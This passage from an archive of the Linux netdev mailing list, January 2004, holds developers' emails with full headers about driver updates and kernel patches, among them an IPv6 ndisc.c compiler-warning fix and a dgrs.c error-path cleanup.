2004 14:38:19 -0800 Received: (qmail 32100 invoked by uid 65534); 29 Jan 2004 22:38:13 -0000 Received: from stud214058.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.214.58) by mail.gmx.net (mp017) with SMTP; 29 Jan 2004 23:38:13 +0100 X-Authenticated: #21910825 Message-ID: <40198B57.2000305@gmx.net> Date: Thu, 29 Jan 2004 23:38:15 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Jeff Garzik CC: Netdev Subject: Re: [PATCH 2/2] [2.6] update forcedeth from 0.22 to 0.23 References: <4016499D.6020302@gmx.net> In-Reply-To: <4016499D.6020302@gmx.net> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2893 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev Content-Length: 722 Lines: 25 On On Tue, 27 Jan 2004 I wrote: > Jeff, > > this patch updates forcedeth 0.22 to 0.23. The main changes are: > - Support ethtool > - Make the generic function names more descriptive > > Please consider applying this patch and the previous one. > > The other comments we received during the discussion a few days ago will > be addressed in later versions. Right now I want to get the driver in a > state suitable for inclusion in 2.4 to get a wider testing base. > > Comments are welcome. Since I received no comments/criticism at all, I assume everyone thinks forcedeth 0.23 is suitable for inclusion in 2.4. If nobody protests, I will send forcedeth 0.23 to Marcelo on Tuesday February 4th. Regards, Carl-Daniel From greg@kroah.com Thu Jan 29 14:50:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 14:50:19 -0800 (PST) Received: from perch.kroah.org (mail.kroah.org [65.200.24.183]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0TMoF7J016827 for ; Thu, 29 Jan 2004 14:50:15 -0800 Received: from [9.47.21.77] (bi01p1.co.us.ibm.com [32.97.110.142]) (authenticated) by perch.kroah.org (8.11.6/8.11.6) with ESMTP id i0TMnEU19594; Thu, 29 Jan 2004 14:49:14 -0800 Received: from greg by echidna.kroah.org with local (masqmail 0.2.19) id 1AmKvC-2aZ-00; Thu, 29 Jan 2004 14:46:02 -0800 Date: Thu, 29 Jan 2004 14:46:02 -0800 From: Greg KH To: Matthew Wilcox Cc: "David S. Miller" , Jeff Garzik , linux-pci@atrey.karlin.mff.cuni.cz, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] pci_get_slot() Message-ID: <20040129224602.GB9906@kroah.com> References: <20031015183213.GG16535@parcelfarce.linux.theplanet.co.uk> <20031218002444.GI6258@kroah.com> <20031218200031.GK15674@parcelfarce.linux.theplanet.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20031218200031.GK15674@parcelfarce.linux.theplanet.co.uk> User-Agent: Mutt/1.4.1i X-archive-position: 2895 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greg@kroah.com Precedence: bulk X-list: netdev Content-Length: 331 Lines: 10 On Thu, Dec 18, 2003 at 08:00:31PM +0000, Matthew Wilcox wrote: > On Wed, Dec 17, 2003 at 04:24:44PM -0800, Greg KH wrote: > > I've applied the pci portions of this patch to my trees and will send it > > on after 2.6.0 is out. > > James Bottomley found a bug in it; could you also apply: Thanks, I've applied this too. greg k-h From jgarzik@pobox.com Thu Jan 29 15:18:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 15:18:16 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0TNIC7J018135 for ; Thu, 29 Jan 2004 15:18:13 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:49729 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AlMP1-000064-Tw; Tue, 27 Jan 2004 06:08:48 +0000 Message-ID: <40160060.4010709@pobox.com> Date: Tue, 27 Jan 2004 01:08:32 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Leonid Grossman CC: "'Stephen Hemminger'" , "'Andi Kleen'" , netdev@oss.sgi.com, raghavendra.koushik@s2io.com Subject: Re: Submission for S2io 10GbE driver References: <001801c3e497$010671a0$0400a8c0@S2IOtech.com> In-Reply-To: <001801c3e497$010671a0$0400a8c0@S2IOtech.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2896 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 880 Lines: 28 Leonid Grossman wrote: > The loopback test is there as a part of the ethtool's diagnostic option. > > > There are pros and cons of having the test in there I guess, anyone else > has an opinion on this? > > Do other net drivers normally support loopback and other diag tests as a > part of the ethtool support, > or they provide little/no support for the option and ship a standalone > diag program instead? The ethtool diag stuff is more of a quick sanity test than anything exhaustive. I definitely want to discourage tons of test code in drivers, as its code that users will almost-never run, it bloats the driver, and can be done with a special diag-only driver or diag program (or a combination of both). A lot of the 10/100 drivers originated from Donald Becker, who typically creates a userland (i.e. separate) diag program for each driver he writes. Jeff From yoshfuji@linux-ipv6.org Thu Jan 29 15:20:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 15:20:15 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0TNKA7J018551 for ; Thu, 29 Jan 2004 15:20:11 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 62DDE33CA5 for ; Fri, 30 Jan 2004 08:20:54 +0900 (JST) Resent-Date: Fri, 30 Jan 2004 08:20:54 +0900 (JST) Resent-Message-Id: <20040130.082054.58205563.yoshfuji@linux-ipv6.org> Resent-To: netdev@oss.sgi.com Resent-From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Date: Thu, 29 Jan 2004 22:15:38 +0100 From: Jan Kasprzak To: linux-kernel@vger.kernel.org Subject: Patch: IPv6/AMD64: bug in net/ipv6/ndisc.c Message-ID: <20040129221538.J24747@fi.muni.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Muni-Spam-TestIP: 147.251.48.3 X-Muni-Virus-Test: Clean Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org X-archive-position: 2897 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 2822 Lines: 74 Hello, all! while compiling the kernel (2.6.1) I have spotted the following warning: net/ipv6/ndisc.c: In function `ndisc_router_discovery': net/ipv6/ndisc.c:1113: warning: comparison is always true due to limited range of data type net/ipv6/ndisc.c:1121: warning: comparison is always true due to limited range of data type The corresponding lines are these: __u32 rtime = ntohl(ra_msg->retrans_timer); Here ---> if (rtime && rtime/1000 < (MAX_SCHEDULE_TIMEOUT/HZ)) { rtime = (rtime*HZ)/1000; if (rtime < HZ/10) rtime = HZ/10; in6_dev->nd_parms->retrans_time = rtime; } rtime = ntohl(ra_msg->reachable_time); and here --> if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT/(3*HZ)) { rtime = (rtime*HZ)/1000; The MAX_SCHEDULE_TIMEOUT is #defined to LONG_MAX in include/linux/sched.h, which is 2^63-1 or so on AMD64. I propose the following fix: --- net/ipv6/ndisc.c.orig 2004-01-29 22:03:50.553745520 +0100 +++ net/ipv6/ndisc.c 2004-01-29 22:06:39.973989728 +0100 @@ -995,6 +995,9 @@ } } +#define MAX_SCHEDULE_TIMEOUT_32 (MAX_SCHEDULE_TIMEOUT/HZ > (1U<<31) ? \ + (1U<<31) : MAX_SCHEDULE_TIMEOUT/HZ) + static void ndisc_router_discovery(struct sk_buff *skb) { struct ra_msg *ra_msg = (struct ra_msg *) skb->h.raw; @@ -1110,7 +1113,7 @@ if (in6_dev->nd_parms) { __u32 rtime = ntohl(ra_msg->retrans_timer); - if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT/HZ) { + if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT_32) { rtime = (rtime*HZ)/1000; if (rtime < HZ/10) rtime = HZ/10; @@ -1118,7 +1121,7 @@ } rtime = ntohl(ra_msg->reachable_time); - if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT/(3*HZ)) { + if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT_32/3) { rtime = (rtime*HZ)/1000; if (rtime < HZ/10) Do you think this is a correct fix? If so, please apply. Hope this helps, -Yenya -- | Jan "Yenya" Kasprzak | | GPG: ID 1024/D3498839 Fingerprint 0D99A7FB206605D7 8B35FCDE05B18A5E | | http://www.fi.muni.cz/~kas/ Czech Linux Homepage: http://www.linux.cz/ | Any compiler or language that likes to hide things like memory allocations behind your back just isn't a good choice for a kernel. --Linus Torvalds - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From yoshfuji@linux-ipv6.org Thu Jan 29 15:37:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 15:37:04 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0TNax7J020186 for ; Thu, 29 Jan 2004 15:37:00 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id ABB5533CA5; Fri, 30 Jan 2004 08:37:43 +0900 (JST) Date: Fri, 30 Jan 2004 08:37:43 +0900 (JST) Message-Id: <20040130.083743.20740540.yoshfuji@linux-ipv6.org> To: kas@informatics.muni.cz Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: Patch: IPv6/AMD64: bug in net/ipv6/ndisc.c From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040129221538.J24747@fi.muni.cz> References: <20040129221538.J24747@fi.muni.cz> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2898 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 1374 Lines: 35 In article <20040129221538.J24747@fi.muni.cz> (at Thu, 29 Jan 2004 22:15:38 +0100), Jan Kasprzak says: > while compiling the kernel (2.6.1) I have spotted the following warning: > > net/ipv6/ndisc.c: In function `ndisc_router_discovery': > net/ipv6/ndisc.c:1113: warning: comparison is always true due to limited range of data type : > The corresponding lines are these: > > __u32 rtime = ntohl(ra_msg->retrans_timer); > > Here ---> if (rtime && rtime/1000 < (MAX_SCHEDULE_TIMEOUT/HZ)) { > rtime = (rtime*HZ)/1000; > if (rtime < HZ/10) > rtime = HZ/10; > in6_dev->nd_parms->retrans_time = rtime; > } : > The MAX_SCHEDULE_TIMEOUT is #defined to LONG_MAX in include/linux/sched.h, > which is 2^63-1 or so on AMD64. I propose the following fix: : +#define MAX_SCHEDULE_TIMEOUT_32 (MAX_SCHEDULE_TIMEOUT/HZ > (1U<<31) ? \ + (1U<<31) : MAX_SCHEDULE_TIMEOUT/HZ) Well,... ok for now. For long term solution, I think it is better to store timing variables in "unsinged long" type instead of int. I think there's several places to be fixed. We'll need proc_doulongvec_jiffies(), proc_doulongvec_userhz_jiffies(). --yoshfuji From davem@redhat.com Thu Jan 29 15:40:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 15:40:04 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0TNe07J020620 for ; Thu, 29 Jan 2004 15:40:00 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i0TNdsb32153; Thu, 29 Jan 2004 18:39:54 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i0TNdsa13231; Thu, 29 Jan 2004 18:39:54 -0500 Received: from cheetah (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i0TNdRkC022818; Thu, 29 Jan 2004 18:39:28 -0500 Date: Thu, 29 Jan 2004 15:39:53 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: kas@informatics.muni.cz, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Patch: IPv6/AMD64: bug in net/ipv6/ndisc.c Message-Id: <20040129153953.3dd2cd23.davem@redhat.com> In-Reply-To: <20040130.083743.20740540.yoshfuji@linux-ipv6.org> References: <20040129221538.J24747@fi.muni.cz> <20040130.083743.20740540.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0TNe07J020620 X-archive-position: 2899 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 443 Lines: 12 On Fri, 30 Jan 2004 08:37:43 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > For long term solution, I think it is better to store timing variables > in "unsinged long" type instead of int. I think this is the only fix to even consider, even in the short term. The macro suggested is just too much of a hack. :) We can just ignore the silly warning until we are able to find time to do the correct fix. From davem@redhat.com Thu Jan 29 16:56:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 16:56:57 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0U0uq7J026104 for ; Thu, 29 Jan 2004 16:56:53 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i0U0ukb09466; Thu, 29 Jan 2004 19:56:46 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i0U0uka06607; Thu, 29 Jan 2004 19:56:46 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i0U0uJkC025442; Thu, 29 Jan 2004 19:56:19 -0500 Date: Thu, 29 Jan 2004 16:56:45 -0800 From: "David S. Miller" To: Andi Kleen Cc: yoshfuji@linux-ipv6.org, kas@informatics.muni.cz, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Patch: IPv6/AMD64: bug in net/ipv6/ndisc.c Message-Id: <20040129165645.4dde4ffc.davem@redhat.com> In-Reply-To: <20040130014031.31ec050f.ak@suse.de> References: <20040129221538.J24747@fi.muni.cz> <20040130.083743.20740540.yoshfuji@linux-ipv6.org> <20040129153953.3dd2cd23.davem@redhat.com> <20040130014031.31ec050f.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2900 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 257 Lines: 7 On Fri, 30 Jan 2004 01:40:31 +0100 Andi Kleen wrote: > Fine by me. I've been ignoring it forever. But don't you see it on sparc64 too? Nope, for some reason gcc-3.2.3 on my systems is missing it. Otherwise I would have killed this earlier :) From ak@suse.de Thu Jan 29 17:35:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 17:35:27 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0U1ZC7J028305 for ; Thu, 29 Jan 2004 17:35:13 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id B6A7AD5324; Fri, 30 Jan 2004 01:40:33 +0100 (CET) Date: Fri, 30 Jan 2004 01:40:31 +0100 From: Andi Kleen To: "David S. Miller" Cc: yoshfuji@linux-ipv6.org, kas@informatics.muni.cz, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Patch: IPv6/AMD64: bug in net/ipv6/ndisc.c Message-Id: <20040130014031.31ec050f.ak@suse.de> In-Reply-To: <20040129153953.3dd2cd23.davem@redhat.com> References: <20040129221538.J24747@fi.muni.cz> <20040130.083743.20740540.yoshfuji@linux-ipv6.org> <20040129153953.3dd2cd23.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0U1ZC7J028305 X-archive-position: 2901 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 731 Lines: 23 On Thu, 29 Jan 2004 15:39:53 -0800 "David S. Miller" wrote: > On Fri, 30 Jan 2004 08:37:43 +0900 (JST) > YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > > > For long term solution, I think it is better to store timing variables > > in "unsinged long" type instead of int. > > I think this is the only fix to even consider, even in the short term. > The macro suggested is just too much of a hack. :) > > We can just ignore the silly warning until we are able to find time > to do the correct fix. Fine by me. I've been ignoring it forever. But don't you see it on sparc64 too? FWIW only IPv6, keyboard driver and ACPI are spewing warnings on x86-64 in a defconfig compile. -Andi From ak@suse.de Thu Jan 29 17:51:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 17:51:23 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0U1p87J029140 for ; Thu, 29 Jan 2004 17:51:09 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 714CCD7A23; Fri, 30 Jan 2004 02:07:52 +0100 (CET) Date: Fri, 30 Jan 2004 02:07:50 +0100 From: Andi Kleen To: "David S. Miller" Cc: yoshfuji@linux-ipv6.org, kas@informatics.muni.cz, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Patch: IPv6/AMD64: bug in net/ipv6/ndisc.c Message-Id: <20040130020750.16e7d1b3.ak@suse.de> In-Reply-To: <20040129165645.4dde4ffc.davem@redhat.com> References: <20040129221538.J24747@fi.muni.cz> <20040130.083743.20740540.yoshfuji@linux-ipv6.org> <20040129153953.3dd2cd23.davem@redhat.com> <20040130014031.31ec050f.ak@suse.de> <20040129165645.4dde4ffc.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2902 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 335 Lines: 13 On Thu, 29 Jan 2004 16:56:45 -0800 "David S. Miller" wrote: > On Fri, 30 Jan 2004 01:40:31 +0100 > Andi Kleen wrote: > > > Fine by me. I've been ignoring it forever. But don't you see it on sparc64 too? > > Nope, for some reason gcc-3.2.3 on my systems is missing it. gcc 3.3 is printing it. -Andi From ogasawara@osdl.org Thu Jan 29 18:16:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 18:16:05 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0U2G07J030398 for ; Thu, 29 Jan 2004 18:16:00 -0800 Received: from ibm-d.pdx.osdl.net (ibm-d.pdx.osdl.net [172.20.1.55]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0U2ERo31955; Thu, 29 Jan 2004 18:14:27 -0800 Subject: Re: [janitor] depca: release resources on errors From: Leann Ogasawara To: Jeff Garzik Cc: Randy Dunlap , netdev@oss.sgi.com In-Reply-To: <401496AA.4000404@pobox.com> References: <20040124223109.1c134ca1.rddunlap@osdl.org> <4013F096.4090705@pobox.com> <20040125193017.450d6ff8.rddunlap@osdl.org> <401496AA.4000404@pobox.com> Content-Type: text/plain Message-Id: <1075428853.24801.51.camel@ibm-d.pdx.osdl.net> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Thu, 29 Jan 2004 18:14:13 -0800 Content-Transfer-Encoding: 7bit X-archive-position: 2903 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ogasawara@osdl.org Precedence: bulk X-list: netdev Content-Length: 3524 Lines: 175 On Sun, 2004-01-25 at 20:25, Jeff Garzik wrote: [snip] > > dgrs: add iounmap()s to failure paths -- still missed (*Leann) > > this wants fixing as well Updated and rediffed janitor cleanup for drivers/net/dgrs.c against netdev-2.6. I don't have the hardware to fully test, but module compiled/loaded/unloaded fine. Feedback appreciated. Thanks, Leann ===== drivers/net/dgrs.c 1.23 vs edited ===== --- 1.23/drivers/net/dgrs.c Thu Jan 8 08:44:05 2004 +++ edited/drivers/net/dgrs.c Thu Jan 29 17:13:05 2004 @@ -327,8 +327,11 @@ */ priv0->vplxdma[PLX_DMA0_MODE/4] = 0xFFFFFFFF; x = priv0->vplxdma[PLX_DMA0_MODE/4]; - if (x != 0x00001FFF) + if (x != 0x00001FFF) { + iounmap((void *) priv0->vplxdma); + priv0->vplxdma = NULL; return (0); + } return (1); } @@ -989,6 +992,7 @@ { DGRS_PRIV *priv0 = (DGRS_PRIV *) dev0->priv; int is; + int ret; unsigned long i; static int iv2is[16] = { @@ -1004,7 +1008,8 @@ if (!priv0->vmem) { printk("%s: cannot map in board memory\n", dev0->name); - return -ENXIO; + ret = -ENXIO; + goto err_out; } /* @@ -1020,7 +1025,8 @@ if (!is) { printk("%s: Illegal IRQ %d\n", dev0->name, dev0->irq); - return -ENXIO; + ret = -ENXIO; + goto err_iounmap_vmem; } OUTB(dev0->base_addr + ES4H_AS_31_24, (uchar) (dev0->mem_start >> 24) ); @@ -1047,10 +1053,9 @@ memcpy(priv0->vmem, dgrs_code, dgrs_ncode); /* Load code */ if (memcmp(priv0->vmem, dgrs_code, dgrs_ncode)) { - iounmap(priv0->vmem); - priv0->vmem = NULL; printk("%s: download compare failed\n", dev0->name); - return -ENXIO; + ret = -ENXIO; + goto err_iounmap_vplxdma; } /* @@ -1101,7 +1106,8 @@ if (priv0->bcomm->bc_status < BC_RUN) { printk("%s: board not operating\n", dev0->name); - return -ENXIO; + ret = -ENXIO; + goto err_iounmap_vplxdma; } priv0->port = (PORT *) S2H(priv0->bcomm->bc_port); @@ -1139,6 +1145,19 @@ } return (0); + + err_iounmap_vplxdma: + if (priv0->vplxdma) { + iounmap((void *) priv0->vplxdma); + priv0->vplxdma = NULL; + } + + err_iounmap_vmem: + iounmap(priv0->vmem); + + err_out: + priv0->vmem = NULL; + return ret; } /* @@ -1175,7 +1194,7 @@ { printk("%s: Illegal Ethernet Address\n", dev->name); rc = -ENXIO; - goto err_out; + goto err_iounmap; } /* @@ -1187,7 +1206,7 @@ rc = request_irq(dev->irq, &dgrs_intr, SA_SHIRQ, "RightSwitch", dev); if (rc) - goto err_out; + goto err_iounmap; priv->intrcnt = 0; for (i = jiffies + 2*HZ + HZ/2; time_after(i, jiffies); ) @@ -1218,6 +1237,15 @@ err_free_irq: free_irq(dev->irq, dev); + +err_iounmap: + if (priv->vplxdma) { + iounmap((void *) priv->vplxdma); + priv->vplxdma = NULL; + } + iounmap(priv->vmem); + priv->vmem = NULL; + err_out: return rc; } @@ -1331,13 +1359,21 @@ fail: while (i >= 0) { - struct net_device *d = priv->devtbl[i--]; + struct net_device *d = priv->devtbl[--i]; unregister_netdev(d); free_netdev(d); } err2: free_irq(dev->irq, dev); + if (priv->vplxdma) { + iounmap((void *) priv->vplxdma); + priv->vplxdma = NULL; + } + + iounmap(priv->vmem); + priv->vmem = NULL; + err1: free_netdev(dev); err0: @@ -1364,15 +1400,10 @@ if (priv->vmem) iounmap(priv->vmem); if (priv->vplxdma) - iounmap((uchar *) priv->vplxdma); + iounmap((void *) priv->vplxdma); if (dev->irq) free_irq(dev->irq, dev); - - for (i = 1; i < priv->nports; ++i) { - if (priv->devtbl[i]) - unregister_netdev(priv->devtbl[i]); - } } #ifdef CONFIG_PCI From dlstevens@us.ibm.com Fri Jan 30 12:49:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 30 Jan 2004 12:50:00 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0UKnm7J024965 for ; Fri, 30 Jan 2004 12:49:55 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0UKngo6525752 for ; Fri, 30 Jan 2004 15:49:42 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0UKnfdZ141854 for ; Fri, 30 Jan 2004 13:49:41 -0700 Importance: Normal Sensitivity: Subject: Re: sysctl variable to force IGMP version [PATCH] To: "David S. Miller" Cc: netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Fri, 30 Jan 2004 13:49:40 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/30/2004 13:49:41 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4B8DFE186498f9e8a93df938690918c07BBE4B8DFE18649" X-archive-position: 2905 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4B8DFE186498f9e8a93df938690918c07BBE4B8DFE18649 